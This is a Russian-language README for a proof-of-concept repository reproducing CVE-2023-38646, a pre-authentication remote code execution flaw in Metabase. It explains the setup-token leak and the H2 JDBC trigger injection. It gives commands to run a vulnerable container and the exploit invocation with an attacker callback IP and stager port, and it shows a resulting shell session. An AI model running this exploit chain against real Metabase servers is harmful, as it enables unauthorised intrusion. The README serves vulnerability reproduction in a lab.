
Репозиторий содержит PoC и шаги для воспроизведения cve 2023-38646.
cd ~/metabase-poc cat > README.md << 'EOF'
CVSS 9.8. Версии Metabase до 0.46.6.1 / 1.46.6.1 (и эквивалентные более ранние ветки) предоставляют возможность RCE до аутентификации через конечную точку /api/setup/validate, которая предназначена для проверки параметров подключения к базе данных во время начальной настройки, но доступна без аутентификации даже после завершения настройки.
Конечная точка принимает полезную нагрузку подключения к базе данных, и при указании engine: h2 с поддельной строкой подключения JDBC позволяет внедрять произвольный JavaScript через синтаксис H2 CREATE TRIGGER ... AS $$//javascript. Тело триггера выполняется во время проверки, предоставляя атакующему выполнение JavaScript внутри JVM — что тривиально приводит к выполнению команд ОС через java.lang.Runtime.getRuntime().exec().
Основная проблема заключается в том, что движок базы данных H2 доверяет коду, внедренному в строку подключения, в рамках "проверки" источника данных, в сочетании с тем, что Metabase открывает этот путь проверки до аутентификации.
metabase/metabase:v0.46.6requests, termcolorЗапустите уязвимый Metabase:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
Установите зависимости эксплойта:
pip3 install requests termcolor
/api/session/properties раскрывает setup-token, который предназначен для блокировки одноразового потока начальной настройки, но остается действительным и используемым даже после завершения настройки.java.lang.Runtime.getRuntime().exec() для получения bash-стейджера с HTTP-сервера атакующего и передачи вывода команды обратно через сырой TCP-слушатель, закодированный в base64.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — IP атакующего для обратного вызова (шлюз моста Docker, если цель — локальный контейнер, например 172.17.0.1)-p — порт, на который подключается обратный канал данных-P — порт локального HTTP-сервера, обслуживающего скрипт-стейджер-u — базовый URL целевого MetabaseПосле подтверждения эксплуатируемости через обратный вызов до аутентификации открывается интерактивное приглашение metabase_shell >.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Выполнение команды подтверждено от имени сервисной учетной записи metabase — до аутентификации, без учетных данных. Серьезность проблемы обусловлена доступным по сети RCE без какой-либо аутентификации, а не уровнем привилегий полученной оболочки.
Исправлено в Metabase 0.46.6.1 / 1.46.6.1 и более поздних версиях — конечная точка /api/setup/validate теперь требует, чтобы настройка действительно была не завершена, а токены настройки аннулируются после завершения начальной настройки.
Только для использования в изолированной лабораторной среде. Не запускайте против экземпляров Metabase, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.